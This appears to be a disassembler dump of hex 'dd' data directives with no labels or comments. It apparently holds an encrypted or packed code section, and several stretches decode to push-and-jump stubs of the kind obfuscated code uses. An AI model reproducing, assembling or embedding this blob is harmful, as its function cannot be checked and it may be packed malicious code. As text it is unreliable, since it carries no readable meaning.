		dd 0A687DBE3h, 52D98947h, 5E06547Ah, 0A8F6D6F1h, 0A6B37941h
		dd 88652E12h, 7E4646ADh, 973F082Eh, 7BA79D88h, 0DD2E7F43h
		dd 874DA881h, 490104E8h, 624A996Ch, 7D4192C9h, 14341A32h
		dd 0E5391D0Fh, 5A4F8710h, 0D6E4D222h, 4B73BF88h, 0EEE85377h
		dd 0DCFAED5Ch, 0D67A5C4Ch, 2018012Eh, 98BEEEC5h, 72527542h
		dd 0C7C3882Ch, 650A2365h, 0E2E7982h, 25CB9F34h,	0FD2F74D4h
		dd 3DB9F1D9h, 124618C9h, 9E3D0560h, 0Dh, 615F4BD4h, 0D33A0038h
		dd 2337A382h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh
		dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h,	3A18327Dh
		dd 906802E4h, 89000060h, 8951241Ch, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2434895Ch, 121468h,	241C8900h, 8904EC83h
		dd 0BB82404h, 0F71C8636h, 6F440DD0h, 532560C1h,	354BBB42h
		dd 60C52262h, 8F9FC62Dh, 58C6891Dh, 241C8B54h, 4C481h
		dd 0B9510000h, 8, 8952D901h, 5A1189F2h,	241C8B59h, 81E78957h
		dd 4C7h, 4C78300h, 5C243C87h, 5E2434FFh, 0E904C483h, 0FFFAB057h
		dd 686A2910h, 5777A9B4h, 0ECCC9DB8h, 0FFC50305h, 0FD0FE0h
		dd 169F992Bh, 0B686E277h, 7B35AA3Bh, 7BBC4B69h,	3ADBE100h
		dd 0C7C6FA10h, 3E4EA966h, 0C6198D7Dh, 7307C72Ah, 0C4D4FA76h
		dd 5EB85F65h, 486E9807h, 4545446Eh, 0A404EB59h,	0E9729063h
		dd 500h, 0DC3FB21h, 0AC6E426h, 4C4F43Dh, 0C8EC3Fh, 1CF0F3Bh
		dd 65AD05BCh, 61ACFB55h, 7FACFB55h, 62AAF15Fh, 953D8C5Ch
		dd 992FB800h, 1E48BBC6h, 404A7A52h, 3F082E7Ch, 3DA108E7h
		dd 0C91A5A3Ah, 74FCD981h, 0FC37536h, 58EDE43Eh,	30341E5Eh
		dd 74A28DF5h, 6BBD8A46h, 0C06F774Bh, 88B0F9D7h,	340A5BB2h
		dd 50D8FDD5h, 53C3758Fh, 0DCCC2302h, 8F423683h,	7041C375h
		dd 0BEECDB27h, 92F54298h, 527454F4h, 547451FEh,	3A67C8F4h
		dd 8EED3C02h, 744A6AA3h, 0E2381C0Bh, 3F8D0DDEh,	0BB84CEEEh
		dd 0FC70B393h, 0F2587557h, 0D4765DE5h, 0CCB18DDEh, 0C3756B67h
		dd 0F9E3E7E6h, 67D90567h, 5965h, 7A526100h, 1C62404Ah
		dd 0DB9EFCCDh, 0C375E257h, 0E9F397F6h, 67D98E77h, 0ADB19BA4h
		dd 1F54Eh, 35F10000h, 68FCD57Dh, 290459C2h, 9CE2C0CAh
		dd 75B7B53h, 0F1CD1138h, 0DBF35C06h, 6746A7FBh,	0D4F65274h
		dd 0E2AA5AF6h, 756B61D7h, 0D21162C3h, 0C189ADFFh, 2E0D2D7Eh
		dd 64526E22h, 0EF3F0856h, 77DFF3CFh, 0E2866A4Fh, 0A03C375h
		dd 2D08592Ah, 828C1CBAh, 9D8F94B4h, 2D1A65B9h, 4605D12Dh
		dd 8CD85840h, 0DA6567D9h, 0BF8EECF2h, 75877Ch, 52C30000h
		dd 58085664h, 0B7F6D6F7h, 49716F58h, 0F3DC2D71h, 189C0AFh
		dd 6D537BC4h, 0F2C81939h, 4D75589Bh, 0C7102413h, 0C6F42209h
		dd 0B89C8FF8h, 0B5D5F662h, 0D98C45AFh, 592767h,	35A30000h
		dd 0CB70F27Dh, 0C3FBBABAh, 0BD136B9Dh, 0F7DA197Bh, 27AFF3CBh
		dd 0D8EADD0Fh, 1655DEF7h, 0EC32123Bh, 97B86030h, 624B97B7h
		dd 75253385h, 84E730C3h, 2B17B5D5h, 526D3D13h, 0B1045A78h
		dd 0C375E2CCh, 0CE132B53h, 58A9E7CEh, 83075695h, 0D9630799h
		dd 1C567h, 52810000h, 0B57D5565h, 75E29860h, 6B4A9BC3h
		dd 0DEE02817h, 6B6FFC80h, 60E8D0D9h, 2EA0658Bh,	951BBE66h
		dd 0AEC375E2h, 0CB91E5Dh, 0E9C95D13h, 0AB0E3698h, 0C692D0C5h
		dd 50AE8DDEh, 0C8EC3F00h, 0A08686EDh, 0A58983A8h, 0D01EE459h
		dd 7338C692h, 0F3D3F557h, 0F0D6F65Dh, 3D8316DEh, 36C692D0h
		dd 4FB886E5h, 8125795Dh, 0C63969C1h, 0B238A4FCh, 0CA666073h
		dd 7F6CFCC2h, 61F1CCE5h, 167E7h, 2647FF00h, 0EE5267F5h
		dd 0E5C6921Ah, 0CA884294h, 2FBEFCEh, 8FA72FEEh,	0D1F3FB3Ah
		dd 8E1D6570h, 0EF702F92h, 60B5017Ch, 0C95C3013h, 9CEB3700h
		dd 0FEA6AA8Ch, 105A2346h, 42A19B1Bh, 0C5193D6Fh, 78C0D59Dh
		dd 0E5C69212h, 6EBF83A3h, 2714C9Dh, 0E8852D0Ah,	5466EF38h
		dd 95ED3157h, 0DB2444A0h, 5E78E387h, 0A3EADAF2h, 1D6EBF83h
		dd 40288DB5h, 43C6927Bh, 0AE3D3372h, 61F1F536h,	3116h
		dd 0ED025000h, 7F11A42Eh, 74C375E3h, 9E62D72Bh,	5CC375E2h
		dd 0E209EBEFh, 740CA921h, 0FC375E3h, 0C169123Eh, 0AD000000h
		dd 0E268D0E5h, 1A6BC375h, 0EE028FDBh, 0AE98A72Fh, 0B4014DA8h
		dd 0C95CE86Fh, 0BA98B29Dh, 65B98A7Bh, 3C2C321Ah, 0CD113517h
		dd 92E68D68h, 0E6E0ABC6h, 6A7C424Ah, 0B3FEC0C5h, 556B78Bh
		dd 5F95D039h, 6F304CA0h, 0E6C71B23h, 92E4BF01h,	46BB4C6h
		dd 8DDC2204h, 2052ABCh,	0BB0DA822h, 0B8C692E4h,	9E460C6Fh
		dd 0E47DC3D6h, 5C76C692h, 92E4F779h, 52A38CC6h,	0B638B613h
		dd 6EBFCC85h, 867CC64h,	0D9396BE4h, 715BA49Ah, 0F8965364h
		dd 7D4EA5A0h, 0C8CE9D21h, 5265271Fh, 5FE5FD50h,	8A8B611Ch
		dd 0B337FC0h, 578DFE33h, 0A69CAD5h, 52797540h, 0DF87C2B1h
		dd 0B54D76FAh, 0C13C0DD2h, 7D2D230Ch, 0A72FEE02h, 62B05412h
		dd 983203C9h, 9E3925A0h, 4D95F737h, 109FE69Eh, 141BCABh
		dd 18301636h, 0E9351933h, 1E749C14h, 781E493Fh,	0F4DEE028h
		dd 33889CBCh, 509F67BFh, 21085678h, 0E7210EC2h,	0C23E89CEh
		dd 0DFFA2699h, 0BE1CEC69h, 0FFC8196Ah, 517554A3h, 92AEC179h
		dd 1085ACA7h, 91EDCDD9h, 71057DB8h, 4C5CECEAh, 4F59E66Ah
		dd 0F1D8676Fh, 0A9FADAF3h, 1767744Ah, 0AF000000h, 0FA6ED2E7h
		dd 1465BE1Ch, 8FD3F3D5h, 236B7FBEh, 0DBE32C73h,	6652CE98h
		dd 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h
		dd 0F1D8277Bh, 79A691EDh, 18327D41h, 6802E43Ah,	6D97h
		dd 68241C89h, 197Eh, 68242C89h,	6E91h, 56240C89h, 273C7468h
		dd 0F6815E4Ah, 4FCBF107h, 24048156h, 5B8C7348h,	48ED815Dh
		dd 5E5B8C73h, 240C8B54h, 5204C483h, 8BAh, 9EEA8100h, 162A61Bh
		dd 9EC281CAh, 8962A61Bh, 0C8B5A2Ah, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 5C243487h, 5D2434FFh,	0E904C483h, 0FFFAAB0Bh
		dd 0B123BAEBh, 0EFA66F77h, 0ECD1F6B8h, 0FFC50305h, 0D3D8D1E0h
		dd 0A2B7BB32h, 8A37BD76h, 9D54040Ah, 88E52049h,	13E866h
		dd 0CADF0000h, 2A3056E9h, 3A05F6A2h, 4561DE4Fh,	303BE573h
		dd 14E899h, 0AFDB0000h,	744B6F92h, 0BBE210CAh, 58AF41D4h
		dd 0EFBA9FDDh, 0C18B1110h, 81665E59h, 818C63D0h, 63A6C6h
		dd 8FC88100h, 0BA51AF68h, 0
		dd 8BCEB70Fh, 0EB81161Ch, 0F95F317h, 12E9h, 327EB800h
		dd 6F9C6FADh, 26034DB5h, 967836F5h, 811A2A58h, 0D8342AEBh
		dd 81C18B11h, 0FD285FEBh, 0BE848h, 78F80000h, 9F09AAF8h
		dd 3DFB2236h, 0D8816632h, 895F4B19h, 83F8161Ch,	0E85204EAh
		dd 0Eh,	33C33A41h, 996C7C12h, 0B53C22D1h, 6B8A21Ch, 593DDAC3h
		dd 48FA8158h, 0FFFFF9Dh, 1B85h,	40C98000h, 2FE9h, 5716BF00h
		dd 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h, 0E9F8BF0Fh
		dd 0FFFFFF6Bh, 47189AA3h, 0F4D540D1h, 7C9CAE3Fh, 3A125976h
		dd 0A2DFE6B6h, 0D42F8D8Dh, 0BF0F05ECh, 0D8B70FD8h, 23158D89h
		dd 0B70F05E7h, 0B985C7D7h, 8C05E708h, 6A00005Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89A5C356h, 0E72575BDh, 0ADB52905h, 0C705E726h, 0E70C9985h
		dd 5, 0D1BD8B00h, 0FF05E722h, 0E7017DB5h, 5D958905h, 0FF05E731h
		dd 0E732CD95h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9D89D181h, 5E702E1h, 10E9h
		dd 90E48E00h, 0CF4716EFh, 0BAAAEB53h, 97BF95CCh, 0FF006AD1h
		dd 0E71A1D95h, 0EBC08B05h, 0ACE9003Bh, 0B6CD4F7Fh, 45CF6957h
		dd 99DA2D91h, 16F506C7h, 11A4E64Dh, 4F9EBACCh, 5CBBAAF2h
		dd 0EDF1BED0h, 71B5EB44h, 0B31E34E8h, 48A8ED6Dh, 0E22E1A16h
		dd 0B38B64F9h, 93BABB48h, 98E9h, 9400h,	500h, 100h, 0A2800h
		dd 200h, 20h dup(0)
		dd 3C2F0800h, 0B87E907h, 0E4680000h, 0E905ECD6h, 0FFFAA85Bh
		dd 0ECD7D468h, 0A851E905h, 168FFFAh, 0E905ECD9h, 0FFFAA847h
		dd 0ECD97668h, 0A83DE905h, 0DC68FFFAh, 0E905ECDAh, 0FFFAA833h
		dd 0ECDB6268h, 0A829E905h, 6668FFFAh, 0E905ECDEh, 0FFFAA81Fh
		dd 0ECDF3268h, 0A815E905h, 533FFFAh, 1A301F31h,	20F1434h
		dd 1E09163Ah, 1D05123Eh, 0F382133Dh, 854B73BFh,	854B73BEh
		dd 834D6DBEh, 9EB294B4h, 0AA1EBB2Bh, 0A9C69937h, 6A350C7Ah
		dd 0F23D0121h, 4BAAFBDBh, 3C022464h, 5BF5D9F3h,	0EA3993ABh
		dd 141ECA94h, 5946AAD9h, 27106E4Eh, 0A0F1C2FAh,	0DBAE8B2Eh
		dd 0CD52C95Ch, 9EBEE5DBh, 4C9D6E4Dh, 0DB298B6Eh, 8C5FC692h
		dd 518E060Ah, 5FBE61F2h, 14000000h, 0A3E7496Ch,	7B75C692h
		dd 0D8B94201h, 0E2C112E3h, 2FEE02F4h, 0FEB912A7h, 0E04FC95Ch
		dd 0D0A580B6h, 59AA9299h, 955D05h, 0C692FEB8h, 0AE0B6ABBh
		dd 0C692FED6h, 146A4A43h, 0FCC2E22Bh, 0EA4F4B00h, 0C96DB7E2h
		dd 2E3C0D26h, 90A85D7Dh, 0A0F705E0h, 0AA41BC80h, 61F1D23Ah
		dd 0EA0Ah, 7A525C00h, 0F1390654h, 76D981C9h, 0C2B6734Bh
		dd 0C1C375E2h, 4C9DBDEEh, 0E6261171h, 9B8DFAC0h, 0BB1B13BBh
		dd 0FDA71AB0h, 1FD4C514h, 76F44EC7h, 806ECB2Ch,	0D312B8ACh
		dd 8ABDBC1Dh, 0E028C375h, 0E32572DEh, 0CE0FFC3h, 0DB744109h
		dd 0D0C95C84h, 0B207CF87h, 0C69264CEh, 106E6E5Bh, 5F166839h
		dd 8E9274EBh, 0EC6043ACh, 0EB5D7820h, 0E8C69251h, 0CB215C9Fh
		dd 733580CAh, 70CCB83Fh, 58E7AF27h, 200F6E70h, 0A18EC0F6h
		dd 159B3E67h, 2EC8A4BFh, 26AE8CDDh, 0A4BF2D93h,	84D526C8h
		dd 929CABA9h, 93C0F7A4h, 90A87021h, 915CBh, 4C8AB600h
		dd 0B797B79Ch, 0B585B299h, 0B99D8C9Bh, 0B89E8897h, 22760D90h
		dd 3D0AC6F4h, 3D0AC6F6h, 3B00C8E8h, 0AE03CD11h,	342F9124h
		dd 0F924C699h, 56645281h, 457BADFAh, 0CF1E7C5Ch, 35BE52FEh
		dd 0CAE8220Dh, 68D095F4h, 6BC375E2h, 48A4DB1Ah,	0EA220D45h
		dd 413782C4h, 42C375E2h, 0F0B83271h, 8F73BBB8h,	766B480h
		dd 692B453Fh, 0B9CCAD0Ah, 98E9C95Ch, 18206936h,	0A410E5DDh
		dd 0D2C69281h, 198B9139h, 2B61F22Bh, 0CCh, 5D7A52BFh, 0E0E21E4Bh
		dd 3905567Eh, 4EC991A9h, 84E52A1Ch, 7E5C4AA9h, 99625D20h
		dd 0DFC9C375h, 95AD51FFh, 0DB5C9551h, 0D73A795Eh, 0F28DD1F5h
		dd 62B71FFEh, 0C95C3CC9h, 0BCBB95E6h, 50656D30h, 0CCB857C9h
		dd 3F5C08Ah, 0C8A467h, 43ECE637h, 42E96757h, 84E7854h
		dd 0BB55423Fh, 0C51D7021h, 82596h, 0BC9A8600h, 0A78787ACh
		dd 0A59582A9h, 0A98D9CABh, 0A8AE98A7h, 32661DA0h, 0D1A3604h
		dd 0D1A3606h, 0B103818h, 9E133D01h, 351FE134h, 0E914C699h
		dd 566452B1h, 0BEEBB47Ch, 0E257D99Eh, 36CC375h,	0C8602C20h
		dd 228535BAh, 4CA382EBh, 0C2B6035Ch, 0C1C3756Fh, 6C9AEF0h
		dd 0B6828082h, 33BEB65h, 6B0AC89Bh, 0AC3A79BAh,	6547A52h
		dd 87CFEF39h, 0E276FADFh, 3C0DC375h, 787473C1h,	0A0753D95h
		dd 0C375E2D8h, 0F5C08ADBh, 0C375E203h, 0FEF43700h, 62B7A5DBh
		dd 2F0F27C9h, 50ACAE7Bh, 2172C322h, 0A08686A9h,	0ED53662Eh
		dd 0E6C6992Dh, 79A5695h, 0C6992C21h, 2C3CDF0Ch,	9FA0F0B1h
		dd 374AA98Dh, 0CAF2D4B9h, 0D014FB72h, 51AC558Ah, 0B01F0BE8h
		dd 903F08CCh, 0ED27FA0Fh, 0DABB315Ch, 0E51425F0h, 409156C1h
		dd 908F5D7Ah, 7C4B97A7h, 0DA330F2Fh, 8316B889h,	6CE47FDCh
		dd 3D024495h, 0CBE3C2EBh, 55B6F758h, 2018C404h,	5FB98C06h
		dd 1737111Ch, 5291E2CBh, 2B172D7Fh, 0B3F94F6Ah,	0A9FA681Bh
		dd 2F920F58h, 0F30FBE88h, 6F80457h, 65530000h, 7A50FF51h
		dd 62AFF454h, 7EA9F65Ah, 7DA5F25Eh, 9322F35Dh, 65EBD3DFh
		dd 65EBD3DEh, 63EDCDDEh, 7ED2F4D4h, 0CABE1B4Bh,	0C9C6993Bh
		dd 0EE02ECDAh, 0E2FD4356h, 0A5F6C375h, 983A7254h, 2398C7F2h
		dd 91EDEDDAh, 460C6FB8h, 62887D73h, 0AD2576C9h,	20AA8882h
		dd 0CA290D1Fh, 0D5F15E06h, 6540A9F5h, 0E03E1C0Eh, 0EC91B597h
		dd 6A3D49D3h, 8334A783h, 24000006h, 2572DEF8h, 200FC1E1h
		dd 2209C7F7h, 3E05CBEBh, 0BF06CAF0h, 50665008h,	506453F8h
		dd 5A7A53F8h, 5F7FA9F6h, 39630F1h, 0C6993BBDh, 21347B6h
		dd 98A72FEEh, 64CAFAFh,	62B73DB3h, 0B7E04FC9h, 1F52BB87h
		dd 0F9D02E0Eh, 3481C9BAh, 0C699364Ch, 0AD257647h, 93BA8A82h
		dd 0CD1E6FB3h, 9A876403h, 755DAEACh, 4830854Dh,	4BC69936h
		dd 0F65E3B7Ah, 0FDC69936h, 7CAB85B2h, 0DA2B0258h, 22DB589h
		dd 0F0D92515h, 0FBF6BCAEh, 45A07484h, 99041FE4h, 81B969C6h
		dd 55CD7518h, 0F50508E7h, 6969FFC7h, 53776645h,	0BD9D8996h
		dd 7C39AB7Eh, 460B61EDh, 5F000000h, 1A30ED02h, 0D6E3EB34h
		dd 0C375E266h, 0F2BA2C7Dh, 75E25127h, 220152C3h, 0E29B19DCh
		dd 3EEDC375h, 0D5C06F98h, 0ADD1A2E8h, 137C2638h, 47F39CBh
		dd 89E402FAh, 0D9568212h, 74267h, 3E040000h, 1EAh, 3C53E468h
		dd 0D0E5EDB0h, 0C95CEA63h, 0F74F0750h, 265CCD0h, 8CC322A5h
		dd 0C704AF2Bh, 706EA76h, 55C16A4Fh, 93DE7CCFh, 624B97A7h
		dd 2581B911h, 678C9029h, 0E33F1F0Ch, 4976B98Ah,	0E1DC2D71h
		dd 35EA06A1h, 98F1CD0Dh, 5C1DE336h, 0C516780Ch,	90C7D2F4h
		dd 0D17219E2h, 2761CE80h, 2A62C907h, 6F489704h,	48E025B4h
		dd 51D13h, 0B4828E00h, 0BF9F8F94h, 0BD9D8A91h, 0A1858493h
		dd 0A09680AFh, 3A6E05A8h, 3502CE0Ch, 3502CE0Eh,	33183010h
		dd 961B3519h, 3817993Ch, 0E12CC699h, 547A5289h,	82836906h
		dd 33B67C8h, 0C78FEE3Fh, 5CF0CDF2h, 0AE0B33C9h,	0C692ECDAh
		dd 2AB688D9h, 9551BD77h, 64B50665h, 0A91FBA62h,	0AAC6920Ch
		dd 2ED61A59h, 0B75B1316h, 26BB797h, 3A6C9438h, 9BB494FBh
		dd 53C49E99h, 7B20717Ah, 6A376276h, 97F9E27Eh, 30000004h
		dd 311E3204h, 0C1B3515h, 0E153B03h, 0A113F1Fh, 83123E1Ch
		dd 4472BCF4h, 4470BF84h, 4E6EBF84h, 0B393B582h,	1FBA2C9Dh
		dd 0C69939A9h, 350F7BAAh, 3F03236Ah, 68A08FEEh,	0E8230C46h
		dd 5497F6C4h, 350B1D6Ah, 0A1FDCE0Eh, 0D516956h,	0F9C5F522h
		dd 0BB6C6AD9h, 75E2AA1Eh, 0F58A9C3h, 5A44EB7Bh,	28AE017Ch
		dd 9AB0B098h, 0E200E8CDh, 3203C375h, 634C9DE1h,	8A66FEEDh
		dd 406667D9h, 60000000h, 4356EE02h, 0C375E2FDh,	7254A5F6h
		dd 5CF83EA7h, 606ABBC9h, 17E750C8h, 6E4DAE71h, 0EAD7AD10h
		dd 0EAA1C692h, 2A143BECh, 0EAF84055h, 0AAFBC692h, 0C9240559h
		dd 0F286C252h, 388261h,	2C40000h, 12A72FEEh, 0C95D30A4h
		dd 27084293h, 4509C7E7h, 0ACB0389Dh, 62B3C692h,	0ACD1A603h
		dd 672FC692h, 92ACEE52h, 5994E5C6h, 0DC0C527Ah,	2B775777h
		dd 3A1B0h, 0EE02E600h, 47FFA72Fh, 0EB2B6B82h, 2780E3A7h
		dd 0C95C582Ah, 0D7207E4Fh, 228DD1F5h, 1FCD2FABh, 8441547Eh
		dd 0D1CCBB57h, 0AC844880h, 0F4843AC7h, 0BC93D219h, 5B744A6Ch
		dd 0FBDEF095h, 0C2922F6Ah, 0D4E83607h, 0F9468307h, 44AB8AB2h
		dd 0CABE1B44h, 0C9D2C00Fh, 0BB87A7E6h, 18300152h, 0C6888D63h
		dd 0E905AEF3h, 45AABD8h, 0F1CD113Bh, 78781ECDh,	16399174h
		dd 9CD61535h, 0C01B1439h, 8D9ED1DEh, 289025ADh,	2BDEF61Bh
		dd 0F84789DAh, 47F887D0h, 0E27CFEDh, 254D55Ah, 0B8897B4Bh
		dd 2D2D1562h, 0B47C66D1h, 0F64E9F61h, 644B94DEh, 0B120033Bh
		dd 8114DC09h, 0DEF64E3Fh, 0A588EB34h, 0AF004A63h, 6DB6E14Fh
		dd 0B937CC1Ch, 4E27F2D4h, 6BD4DF0Dh, 0D1FBC41Ah, 0CB6DC58Dh
		dd 9C1C02AFh, 53675B9Ah, 7AC50E88h, 1024134Dh, 13D9E4C7h
		dd 947D5872h, 81EA379Ah, 99B398B0h, 0C17969B5h,	4F7882F6h
		dd 80DA330Fh, 67462B98h, 123E0008h, 0DCF69755h,	0E82FCF9h
		dd 52A8F9E0h, 4C6215EFh, 0FBB363ECh, 399CDA41h,	0EC4CA0B7h
		dd 5A1B634Ch, 0A0337273h, 4A42ED26h, 0F4371664h, 0A02BAF21h
		dd 11A46C38h, 0EC4C85AFh, 94F552A4h, 3914734Eh,	0FAC096E8h
		dd 1DE5C117h, 3065DEh, 2610000h, 0FFA72FEEh, 58C2ED47h
		dd 0B08A15A4h, 1124338Fh, 9770B326h, 0C95CFF36h, 0D99CE233h
		dd 0C692FF5Bh, 70587E2Dh, 61F271E0h, 0C6ECh, 7A52E600h
		dd 0F1390654h, 828AF5C9h, 37115EBCh, 99983917h,	4C375E7h
		dd 8A7E5B04h, 89C375E7h, 0F592E0B1h, 0E5F5887h,	258F7144h
		dd 0BB84C375h, 4F59E66Ah, 2881FB66h, 6452A0FAh,	0D0210856h
		dd 42BBB87h, 8EDF231Bh,	39DC10AFh, 9B4F9991h, 0F9856376h
		dd 2CE530BAh, 0C9C95C3Dh, 559B50F8h, 0F587EAEh,	51277247h
		dd 4AD5CCB8h, 0CD1C6240h, 9ACC1DEEh, 834D8DB5h,	0CF4C8AB4h
		dd 7021BD14h, 935704DCh, 34000001h, 3502CE08h, 301F3111h
		dd 32193707h, 0E153B1Bh, 8F163A00h, 4076A0F8h, 4074A388h
		dd 4A6AA388h, 4F6FB986h, 13A62081h, 0C6993CADh,	520377A6h
		dd 0ADFA5664h, 0C9F55B7Bh, 38062466h, 2C492D1h,	98A72FEEh
		dd 0BB9BB0B0h, 0F635146Ah, 0FE40D9FCh, 2C7DC95Ch, 0ADAD95BAh
		dd 378D704Eh, 41C692FEh, 8C040C8Ah, 0B861F272h,	98h, 547A520Ah
		dd 0D7F13906h, 0BB87D0F4h, 75E7FBC6h, 792666C3h, 75E7D45Ch
		dd 8A80EFC3h, 0C60A5BA4h, 470F2F79h, 8D3848EFh,	7AB9967Dh
		dd 80856B04h, 0A33AEBCEh, 0E637C95Ch, 0BE5F8D6Ah, 0EBF78114h
		dd 93FCCCB8h, 1234143Bh, 34BEFDCCh, 311F3F6Bh, 611E3C6Ah
		dd 70213F70h, 0C783D870h, 60000000h, 61CE0234h,	7CCB0525h
		dd 7EC50B33h, 7AC10F2Fh, 0F3C20E4Ch, 94A2ECC4h,	94A0EFB4h
		dd 9EBEEFB4h, 83A3E5B2h, 4F6A7C4Dh, 0C6993DF9h,	52DF8BFAh
		dd 0ADFA5664h, 0D5F55B7Bh, 6547A52h, 75C6EF39h,	0F4D4F117h
		dd 547F47A6h, 0A1AFF843h, 6F6726CAh, 0A9AD98A7h, 1F1FED4Ah
		dd 0CB14C962h, 4A40EFF7h, 0E22A0964h, 0E5270CDCh, 0DF38FDC1h
		dd 8AC3ABCFh, 2365C7C3h, 2666CD03h, 0DACD3A00h,	6C5BA4FAh
		dd 0FC251268h, 11FAFEDCh, 21A1C569h, 0CE2D0D1Eh, 7FA9FB9Fh
		dd 62AAF15Fh, 196A4842h, 442C89B1h, 5FCBCBAFh, 88D32F0Eh
		dd 1Ah,	5357DC2h, 6A35B026h, 0EF51643Dh, 0E4C375E2h, 756B4A9Bh
		dd 0A08686A9h, 66521545h, 0EB3D0A50h, 8388F7CBh, 25105FA3h
		dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h
		dd 6802E43Ah, 69EFh, 53240489h,	0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 5668241Ch, 8900004Fh, 61682414h, 8B05ECD5h
		dd 0C483241Ch, 4EC8304h, 81242489h, 42404h, 565A0000h
		dd 7289DE89h, 24348B08h, 4C481h, 34FF0000h, 0C4815A24h
		dd 4, 50241C8Bh, 405E089h, 5000000h, 4,	5C240487h, 0FA9CEAE9h
		dd 824DFAFFh, 563873Bh,	8EAE41C5h, 0E01EB891h, 0C50305ECh
		dd 4699E0FFh, 1B7F258Eh, 84D252DEh, 89E63B7Fh, 98B36934h
		dd 0C7B53F39h, 91A90D3Eh, 2962B1Eh, 0E4DF0EEAh,	0A4D2274Ch
		dd 0E98643F2h, 53580179h, 3B7A5AF0h, 24EB3265h,	9 dup(0)
		dd 0BDE9h, 0D7B58900h, 8B05ECE0h, 0E707F185h, 61858B05h
		dd 8D05E703h, 0ECE121B5h, 1858D05h, 0FF05EA48h,	0E855C3D0h
		dd 0
		dd 27ED815Dh, 8305ECE1h, 0E707F1BDh, 850F0105h,	2Ch, 0E0D7B5FFh
		dd 858B05ECh, 5E70361h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 5ECE0DBh
		dd 0D7B5FF56h, 8B05ECE0h, 0E7036185h, 27363505h, 0D0FF3481h
		dd 8D0CC483h, 0ECE0DBB5h, 14468B05h, 8304E083h,	840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 7F1BD83h, 0F0105E7h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 5ECE100h, 6B58589h, 10E805E7h
		dd 0C7000000h, 98977028h, 44C63E0Ch, 6426C0CAh,	5AD114FEh
		dd 384DC681h, 0C2816187h, 664Ah, 196D68h, 0BCCCBB00h, 0E95F4E62h
		dd 0Bh,	31BD1625h, 0B7515698h, 0FF62F2F7h, 58CF8B32h, 5830Fh
		dd 81660000h, 81E021F3h, 0AB665AF0h, 81F18B71h,	143136F0h
		dd 0B7E88132h, 604A91ACh, 0CF94EABBh, 0CBBF0F00h, 0F5028961h
		dd 0E801EA83h, 13h, 2122D4C6h, 5208DF8h, 0FD44FF24h, 99345900h
		dd 5E67FE89h, 664A4A4Ah, 0F8E1E181h, 0A4850F4Fh, 81FFFFFFh
		dd 662575DEh, 288D8D7Dh, 8A05ECE3h, 158D89F0h, 6A05E723h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F3A6C351h, 0FD6ACDBEh, 0B985C77Dh, 6805E708h
		dd 0E9000068h, 0Fh, 0FA08BD57h,	673DCE3Ah, 52250A71h, 0C788A776h
		dd 0E70C9985h, 5, 0DDB5FF00h, 6A05E731h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2521C355h
		dd 858B56E7h, 5E70D45h,	32CD95FFh, 6A05E7h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0C19852C3h
		dd 9523554h, 0E70925B5h, 75958905h, 0F05E703h, 6AC6BFh
		dd 1A1D95FFh, 0C08B05E7h, 38746BEBh, 0F9FB6E5Dh, 29E2BE23h
		dd 0B1A62934h, 0E0D0DE1Ch, 383C77D8h, 9BC21CD5h, 41C9AA38h
		dd 0A3EA8D4Ah, 4FA05597h, 713E9164h, 0F757E4A3h, 0CC4F1812h
		dd 92422B98h, 38D464E4h, 6493F3BDh, 0DC32C795h,	25694DEBh
		dd 76D8A93Fh, 0BB68F7CDh, 0A214911Ah, 0B8E48B0h, 0ADDF577Ch
		dd 0C67FEDFAh, 8279D4Bh, 0DB339AE4h, 5D5E71F3h,	0ABE964h
		dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0A601E800h, 323D94E7h, 0ADBD5583h, 1328E908h, 68680000h
		dd 0E905ECE6h, 0FFFA991Fh, 0ECE77168h, 9915E905h, 4868FFFAh
		dd 0E905ECE8h, 0FFFA990Bh, 0ECE9C868h, 9901E905h, 4668FFFAh
		dd 0E905ECEAh, 0FFFA98F7h, 0ECEB0D68h, 98EDE905h, 0A968FFFAh
		dd 0E905ECEBh, 0FFFA98E3h, 0ECEC4468h, 98D9E905h, 0DF68FFFAh
		dd 0E905ECECh, 0FFFA98CFh, 0ECEE9268h, 98C5E905h, 5B68FFFAh
		dd 0E905ECEFh, 0FFFA98BBh, 0ECF0A268h, 98B1E905h, 0E468FFFAh
		dd 0E905ECF1h, 0FFFA98A7h, 0ECF3C368h, 989DE905h, 0C768FFFAh
		dd 0E905ECF4h, 0FFFA9893h, 9DB38BB1h, 9AB694B6h, 94B4848Dh
		dd 90B89C8Fh, 91BF9F8Bh, 0F53D750Ch, 0F13C0BC5h, 0EF3C0BC5h
